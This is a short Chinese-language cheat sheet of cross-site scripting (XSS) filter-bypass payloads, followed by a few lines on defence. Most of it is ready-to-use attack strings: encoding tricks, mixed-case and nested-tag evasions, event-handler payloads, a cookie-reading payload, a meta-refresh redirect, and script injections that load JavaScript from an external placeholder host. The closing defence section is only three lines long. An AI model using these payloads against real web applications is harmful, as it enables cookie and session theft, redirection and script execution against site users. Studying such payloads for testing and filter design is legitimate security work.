0x00 绕过
1、编码绕过:
URL全编码: <script> -> %3c%73%63%72%69%70%74%3e
URL二次编码: <script> -> %253Cscript%253E
HTML实体编码:<img src=“” onerror=alert(1)>
unicode编码: \u003cimg src="" onerror=alert(1)\u003e
base16编码: <img src="" onerror=alert\x281\x29>
String.fromCharCode替换所有字符:String.fromCharCode(60,105,109....)
2、变形绕过:
大小写混合: <ScRiPt>aLERt(1)<scRiPT>
过滤一次绕过: <scr<script>ipt>alealertrt(1)<scr<script>ipt>
3、加载外部js绕过:
" οnlοad="with(document)body.appendChild(createElement('script')).src='http://www.test.com/test.js'"
<script>src="http://www.test.com/test.js"</script>
4、行内样式绕过:
<div style="color:expression(alert(1))">
5、不用JS达到XSS攻击:
<meta http-equiv="refresh" content="1;url=http://www.bing.com/">//页面1秒后刷新并跳转到指定URL
6、其他整理
</tExtArEa>'"><sCRiPt sRC=XSSURL></sCrIpT>
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>
1"><details open ontoggle=top['alert'](1)>
<script src=data:,alert(document.cookie);//'
' onfocus=alert(1) autofocus //
"><svg/onload=alert()>
"><img/src=x onerror=alert(1)>
"-prompt(1)-"
绕过onXXXX <object onbeforescriptexecute=confirm(0)>
0x01 防范
限制输入、转义输出
对用户的输入数据进行关键字过滤,如过滤掉 < 、 > 、 ' 、 " 等危险字符
对一切输出的数据进行HTML实体编码